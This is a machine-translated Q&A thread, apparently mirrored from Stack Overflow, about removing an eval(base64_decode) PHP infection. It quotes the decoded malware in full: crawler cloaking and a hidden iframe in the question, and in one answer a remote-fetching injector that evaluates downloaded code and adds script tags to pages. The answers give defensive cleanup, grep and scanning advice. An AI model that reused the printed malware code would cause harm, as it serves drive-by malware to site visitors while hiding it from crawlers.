Intereting Posts
Массив $ _FILES не пуст после загрузки Создать список пользователей в Интернете? Symfony & Guard: «Токен безопасности был удален из-за исключения AccountStatusException» Что заставило бы strtotime php работать не на дату в 2099 году? Как реализовать Laravel 4 Частичные представления – привязка данных к частичным представлениям mogrify изменить размер имени файла с помощью скобки как обновить одно или несколько полей, игнорируя пустые поля в базу данных mysql? Неужели невозможно написать подсказку пароля php cli, которая скрывает пароль в окнах? Как преобразовать массив байтов в строку в PHP? PHP MySQL получает местоположение в радиусе пользователя от GPS Ошибка API Google Calendar PHP Я должен ДОЛЖЕН обновить свой PHP-SDK от 3.2 до 4.0 после 30 апреля 2015 года (истекает срок действия графика API 1.0)? могу ли я использовать PHP-SDK 3.2 с Graph API 2.0? Вставка значений формы в базу данных в codeigniter XML-RPC HTTP-запрос с App Inventor? Является urlencode () достаточно хорошим, чтобы остановить все атаки SQL-инъекций в 2011 году

Как избавиться от eval-base64_decode, как файлы вирусов PHP?

Мой сайт (очень большой сайт сообщества) был недавно заражен вирусом. Каждый файл index.php был изменен так, что открывающий php-тег этих файлов был изменен на следующую строку:

 <?php eval(base64_decode('ZXJyb+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0=')); 

Когда я декодировал это, он создал следующий код PHP:

  <?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'; } -  <?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'; } -  <?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'; } 

Я пробовал несколько вещей, чтобы очистить вирус, даже восстанавливая резервную копию, и файлы заражаются через несколько минут или часов. Так что, пожалуйста, помогите мне?

Что вы знаете об этом вирусе?

Есть ли известное отверстие безопасности, которое оно использует для установки и распространения?

Что на самом деле делает вышеуказанный PHP-код?

Что делает страница, которую он вкладывает в iframe?

И, конечно, что более важно: что я могу сделать, чтобы избавиться от него?

Пожалуйста, помогите, у нас почти не осталось идей и надежд 🙁

UPDATE1 Еще несколько деталей: странно: когда мы сначала проверили зараженные файлы. Они были изменены, но их модифицированное время в программе ftp показывало последний доступ в несколько дней, месяцев или даже лет назад в некоторых случаях! Как это вообще возможно? Это сводит меня с ума!

ОБНОВЛЕНИЕ 2 Я думаю, проблема возникла после того, как пользователь установил плагин в своей установке WordPress. После восстановления из резервной копии и полного удаления папки WordPress и связанной с ней db проблема исчезла. В настоящее время мы подписались на службу безопасности, и они расследуют эту проблему, чтобы убедиться, что взломать не удалось. Спасибо всем, кто ответил.

Шаги по восстановлению и лечению вашего сайта (при условии, что у вас есть хорошая резервная копия).

1) Завершение работы сайта

Вы должны в основном закрыть дверь на свой сайт, прежде чем выполнять свою коррекционную работу. Это предотвратит посещение посетителями вредоносного кода, просмотр сообщений об ошибках и т. Д. Просто хорошая практика.

Вы должны сделать это, поместив следующее в свой файл .htaccess в webroot. (Замените «!! ваш IP-адрес здесь!» С вашим собственным IP-адресом – см. http://icanhazip.com, если вы не знаете свой IP-адрес.)

 order deny,allow deny from all allow from !!Your IP Address Here!! 

2) Загрузите копию всех ваших файлов с сервера

Загрузите все в отдельную папку из ваших резервных копий. Это может занять некоторое время (в зависимости от размера вашего сайта, скорости соединения и т. Д.).

3) Загрузите и установите Утилиту сравнения файлов / папок

На компьютере с Windows вы можете использовать WinMerge – http://winmerge.org/ – он бесплатный и достаточно мощный. На машине MacOS просмотрите список возможных альтернатив из Alternative.to

4) Запустите утилиту сравнения файлов и папок

Вы должны получить несколько разных результатов:

  • Файлы идентичны. Текущий файл совпадает с вашим резервным копированием и поэтому не изменяется.
  • Файл только с левой или с правой стороны – этот файл существует только в резервной копии (и может быть удален с сервера) или существует только на сервере (и, возможно, был взломан / создан хакером).
  • Файл отличается. Файл на сервере не совпадает с файлом в резервной копии, поэтому он может быть изменен вами (для его настройки для сервера) или хакером (для ввода кода).

5) Устранение различий

(ака «Почему мы не можем просто ладить?»)

Для одинаковых файлов никаких дополнительных действий не требуется. Для файлов, которые существуют только на одной стороне , посмотрите файл и выясните, являются ли они законными (например, пользовательские загрузки, которые должны быть там, дополнительные файлы, которые вы могли добавить, и т. Д.). Для файлов, которые являются разными , посмотрите файл ( утилита File Difference Utility может даже показать вам, какие строки были добавлены / изменены / удалены) и посмотрите, действительно ли версия сервера. Перезапишите (с резервной копией) любые файлы, содержащие вредоносный код.

6) Просмотрите свои меры предосторожности

Независимо от того, как это изменить ваши пароли FTP / cPanel или проанализировать использование внешних / неконтролируемых ресурсов (как вы говорите, вы выполняете много фэгсов, fopens и т. Д., Вы можете проверить передаваемые им параметры как это способ заставить скрипты вызывать вредоносный код) и т. д.

7) Проверьте работу сайта

Воспользуйтесь возможностью быть единственным человеком, который смотрит на сайт, чтобы убедиться, что все по-прежнему работает, как и ожидалось, после исправления зараженных файлов и удаления вредоносных файлов.

8) Откройте двери

Отмените изменения, сделанные в файле .htaccess на шаге 1. Следите внимательно. Следите за своими посетителями и журналами ошибок, чтобы узнать, пытается ли кто-либо запускать удаленные вредоносные файлы и т. Д.

9) Рассмотрим автоматизированные методы обнаружения

Существует несколько решений, позволяющих выполнить автоматическую проверку на вашем хосте (используя задание CRON), которое будет обнаруживать и детализировать любые изменения, которые происходят. Некоторые из них немного подробные (вы получите электронное письмо для каждого измененного файла), но вы должны быть в состоянии адаптировать их к вашим потребностям:

  • Tripwire – скрипт PHP для обнаружения и отправки новых, удаленных или измененных файлов
  • Сценарий оболочки для мониторинга изменений файлов
  • Как определить, взломан ли ваш веб-сервер и получить предупреждение

10) иметь запланированное резервное копирование и сохранить хороший кронштейн

Убедитесь, что у вас запланировано резервное копирование на вашем веб-сайте, сохраните несколько из них, поэтому у вас есть разные шаги, которые вы можете вернуться вовремя, если это необходимо. Например, если вы выполняете еженедельные резервные копии, вы можете сохранить следующее:

  • 4 раза в неделю
  • 4 х ежемесячных резервных копий (вы сохраняете одно из Еженедельных резервных копий, возможно, первую неделю месяца, в качестве Ежемесячного резервного копирования)

Они всегда облегчат жизнь, если у вас кто-то атакует ваш сайт чем-то более разрушительным, чем атака с инъекцией кода.

О, и убедитесь, что вы также создаете резервные копии своих баз данных – с большим количеством сайтов, основанных на CMS, с хорошими файлами, но если вы потеряете / повредите базу данных позади них, ну, резервные копии в основном бесполезны.

Во-первых, отключите свой сайт, пока не сможете понять, как он попал и как его исправить. Похоже, что это вредоносная программа для ваших клиентов.

Затем выполните поиск через ваши php-файлы для fgets, fopen, fputs, eval или system. Я рекомендую notepad ++ из-за его функции «Найти в файлах». Кроме того, убедитесь, что это единственное место, где ваш PHP был изменен. У вас есть автономная копия для сравнения?

Я страдал от той же взломанной работы. Мне также удалось расшифровать код, и, хотя у меня появился другой php-код, я начал с удаления вложенного PHP-текста, перейдя через каждый php-файл на сайте и удалив eval-вызов. Я все еще изучаю, как я его начал, но вот, как выглядела моя после дешифрования с этого сайта:

Чтобы декодировать зашифрованный php-скрипт в каждом файле php, используйте это: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

И форматирование результата с помощью этого парня: http://beta.phpformatter.com/

Для очистки вам нужно удалить строку «eval» из верхней части каждого файла php и удалить папки .log из базовой папки веб-сайта.

Я нашел скрипт python, который я немного изменил, чтобы удалить троян в php-файлах, поэтому я отправлю его здесь для использования другими пользователями: источник кода из потока: замените ВСЕ экземпляры символа другим во всех файлах иерархически в дереве каталогов

 import os import re import sys def try_to_replace(fname): if replace_extensions: return fname.lower().endswith(".php") return True def file_replace(fname, pat, s_after): # first, see if the pattern is even in the file. with open(fname) as f: if not any(re.search(pat, line) for line in f): return # pattern does not occur in file so we are done. # pattern is in the file, so perform replace operation. with open(fname) as f: out_fname = fname + ".tmp" out = open(out_fname, "w") for line in f: out.write(re.sub(pat, s_after, line)) out.close() os.rename(out_fname, fname) def mass_replace(dir_name, s_before, s_after): pat = re.compile(s_before) for dirpath, dirnames, filenames in os.walk(dir_name): for fname in filenames: if try_to_replace(fname): print "cleaning: " + fname fullname = os.path.join(dirpath, fname) file_replace(fullname, pat, s_after) if len(sys.argv) != 2: u = "Usage: rescue.py <dir_name>\n" sys.stderr.write(u) sys.exit(1) mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "") 

использовать тип

корневая папка python rescue.py

Это то, что пытался сделать злоумышленник:

 <?php if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) { $_SERVER['mr_no'] = 1; if (!function_exists('mrobh')) { function get_tds_777($url) { $content = ""; $content = @trycurl_777($url); if ($content !== false) return $content; $content = @tryfile_777($url); if ($content !== false) return $content; $content = @tryfopen_777($url); if ($content !== false) return $content; $content = @tryfsockopen_777($url); if ($content !== false) return $content; $content = @trysocket_777($url); if ($content !== false) return $content; return ''; } function trycurl_777($url) { if (function_exists('curl_init') === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_HEADER, 0); $result = curl_exec($ch); curl_close($ch); if ($result == "") return false; return $result; } function tryfile_777($url) { if (function_exists('file') === false) return false; $inc = @file($url); $buf = @implode('', $inc); if ($buf == "") return false; return $buf; } function tryfopen_777($url) { if (function_exists('fopen') === false) return false; $buf = ''; $f = @fopen($url, 'r'); if ($f) { while (!feof($f)) { $buf .= fread($f, 10000); } fclose($f); } else return false; if ($buf == "") return false; return $buf; } function tryfsockopen_777($url) { if (function_exists('fsockopen') === false) return false; $p = @parse_url($url); $host = $p['host']; $uri = $p['path'] . '?' . $p['query']; $f = @fsockopen($host, 80, $errno, $errstr, 30); if (!$f) return false; $request = "GET $uri HTTP/1.0\n"; $request .= "Host: $host\n\n"; fwrite($f, $request); $buf = ''; while (!feof($f)) { $buf .= fread($f, 10000); } fclose($f); if ($buf == "") return false; list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf); return $buf; } function trysocket_777($url) { if (function_exists('socket_create') === false) return false; $p = @parse_url($url); $host = $p['host']; $uri = $p['path'] . '?' . $p['query']; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $request = "GET $uri HTTP/1.0\n"; $request .= "Host: $host\n\n"; socket_write($sock, $request); $buf = ''; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf); return $buf; } function update_tds_file_777($tdsfile) { $actual1 = $_SERVER['s_a1']; $actual2 = $_SERVER['s_a2']; $val = get_tds_777($actual1); if ($val == "") $val = get_tds_777($actual2); $f = @fopen($tdsfile, "w"); if ($f) { @fwrite($f, $val); @fclose($f); } if (strstr($val, "

CODE

")) { list($val, $code) = explode("

CODE

", $val); eval(base64_decode($code)); } return $val; } function get_actual_tds_777() { $defaultdomain = $_SERVER['s_d1']; $dir = $_SERVER['s_p1']; $tdsfile = $dir . "log1.txt"; if (@file_exists($tdsfile)) { $mtime = @filemtime($tdsfile); $ctime = time() – $mtime; if ($ctime > $_SERVER['s_t1']) { $content = update_tds_file_777($tdsfile); } else { $content = @file_get_contents($tdsfile); } } else { $content = update_tds_file_777($tdsfile); } $tds = @explode("\n", $content); $c = @count($tds) + 0; $url = $defaultdomain; if ($c > 1) { $url = trim($tds[mt_rand(0, $c – 2)]); } return $url; } function is_mac_777($ua) { $mac = 0; if (stristr($ua, "mac") || stristr($ua, "safari")) if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone"))) $mac = 1; return $mac; } function is_msie_777($ua) { $msie = 0; if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) $msie = 1; return $msie; } function setup_globals_777() { $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; $mz = "/tmp/"; if (!@is_dir($rz)) { @mkdir($rz); if (@is_dir($rz)) { $mz = $rz; } else { $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; if (!@is_dir($rz)) { @mkdir($rz); if (@is_dir($rz)) { $mz = $rz; } } else { $mz = $rz; } } } else { $mz = $rz; } $bot = 0; $ua = $_SERVER['HTTP_USER_AGENT']; if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) $bot = 1; if (stristr($ua, "bingbot") || stristr($ua, "google")) $bot = 1; $msie = 0; if (is_msie_777($ua)) $msie = 1; $mac = 0; if (is_mac_777($ua)) $mac = 1; if (($msie == 0) && ($mac == 0)) $bot = 1; global $_SERVER; $_SERVER['s_p1'] = $mz; $_SERVER['s_b1'] = $bot; $_SERVER['s_t1'] = 1200; $_SERVER['s_d1'] = base64_decode('http://ens122zzzddazz.com/&apos;); $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]); $_SERVER['s_a1'] = base64_decode('http://cooperjsutf8.ru/g_load.php&apos😉 . $d; $_SERVER['s_a2'] = base64_decode('http://nlinthewood.com/g_load.php&apos😉 . $d; $_SERVER['s_script'] = "nl.php?p=d"; } setup_globals_777(); if (!function_exists('gml_777')) { function gml_777() { $r_string_777 = ''; if ($_SERVER['s_b1'] == 0) $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>'; return $r_string_777; } } if (!function_exists('gzdecodeit')) { function gzdecodeit($decode) { $t = @ord(@substr($decode, 3, 1)); $start = 10; $v = 0; if ($t & 4) { $str = @unpack('v', substr($decode, 10, 2)); $str = $str[1]; $start += 2 + $str; } if ($t & 8) { $start = @strpos($decode, chr(0), $start) + 1; } if ($t & 16) { $start = @strpos($decode, chr(0), $start) + 1; } if ($t & 2) { $start += 2; } $ret = @gzinflate(@substr($decode, $start)); if ($ret === FALSE) { $ret = $decode; } return $ret; } } function mrobh($content) { @Header('Content-Encoding: none'); $decoded_content = gzdecodeit($content); if (preg_match('/\<\/body/si', $decoded_content)) { return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content); } else { return $decoded_content . gml_777(); } } ob_start('mrobh'); } } ?>

Чтобы избавиться от этих вредоносных PHP, вам просто нужно их удалить. Если файл заражен, вам нужно удалить только часть, которая выглядит подозрительной.

Всегда сложно найти эти файлы, потому что, как правило, их много в вашем корне.

Обычно, если вы видите какие-то обфускации, это красное предупреждение для вас.

Большинство вредоносных программ легко найти на основе общих функций, которые они используют, в том числе:

  • base64_decode ,
  • lzw_decompress ,
  • eval ,
  • и так далее

Используя формат кодирования, они уплотняют их размер и затрудняют их декодирование неопытными пользователями.

Вот несколько команд grep которые могут найти наиболее распространенный вредоносный код PHP:

 grep -R return.*base64_decode . grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' . 

Вы можете запускать эти команды на сервере или после синхронизации своего веб-сайта на своем локальном компьютере (через FTP, например, ncftpget -R ).

Или используйте инструменты сканирования, специально разработанные для поиска таких вредоносных файлов, см.: Сканеры безопасности PHP .

Для образовательных целей, пожалуйста, найдите следующую коллекцию сценариев эксплойта PHP, найденную при исследовании взломанных серверов, доступных в сценариях kenorb / php-exploit GitHub (под влиянием оригинальной коллекции @Mattias ). Это даст вам представление о том, как выглядят подозрительные файлы PHP, поэтому вы можете узнать, как их найти на своем сервере.

См. Также: Что делает этот вредоносный PHP-скрипт?

  1. Убедитесь, что обновлены все популярные веб-приложения, такие как WordPress или vBulletin. Есть много эксплойтов со старыми версиями, которые могут привести к сбою вашего сервера, и это, вероятно, произойдет снова, если они не будут обновлены. Не использовать при продолжении, пока это не будет сделано.

  2. Если файлы продолжают заменяться, тогда в фоновом режиме запускается руткит или троян. Этот файл не может реплицироваться. Сначала вам придется сначала избавиться от руткита. Попробуйте rkhunter , chkrootkit , и LMD . Сравните вывод ps aux с защищенным сервером и проверьте /var/tmp и /tmp для подозрительных файлов. Возможно, вам придется переустановить ОС.

  3. Убедитесь, что все рабочие станции, администрирующие сервер, обновлены и чисты. Не подключайтесь через небезопасные беспроводные соединения или используйте обычную текстовую аутентификацию, например, с FTP (вместо этого используйте SFTP). Только войдите в панели управления с https.

  4. Чтобы это не происходило, снова запустите csf или сопоставимый брандмауэр, ежедневный просмотр LMD и оставайтесь в курсе последних обновлений безопасности для всех приложений на сервере.

Мои веб-сайты или веб-сайты, на которых я принимаю, несколько раз подвергались ударам с подобными атаками.

Представляю, что я сделал, чтобы решить проблему. Я не претендую на то, что это лучший / простой подход, но он работает, и с тех пор я могу упреждающе держать мяч в своей области.

  1. решить проблему ASAP Я создал очень простой PHP-скрипт (он был написан, когда утюг был горячим, поэтому, возможно, это не самый оптимизированный код, но он решает проблему довольно быстро): http://www.ecommy.com/web-security / очистка PHP-файлы-из-Eval-инфекции

  2. убедитесь, что вы знаете, когда что-то подобное снова появляется. Хакеры используют все виды аплоасов из SQL-инъекции одного из ваших внешних модулей, которые вы устанавливаете, чтобы перенаправить административную панель со словарными атаками или очень хорошо известные шаблоны паролей, такие как 1qaz … qwerty …. и т. Д. Я представляю скрипты здесь: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. запись cron будет примерно такой: 0 2 * * 5 / root / scripts / base64eval_scan> / dev / null 2> & 1 &

Я обновил страницы, чтобы кто-то мог напрямую загрузить файлы. Надеюсь, он будет полезен для вас, как и для меня 🙂

Предполагая, что это сервер на базе Linux и у вас есть доступ к SSH, вы можете запустить это, чтобы удалить код нарушения:

 find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@' 

Это охватывает все известные реализации base64 и будет работать независимо от того, окружен ли текст base64 одиночными или двойными кавычками

EDIT: теперь работает с внутренними пробелами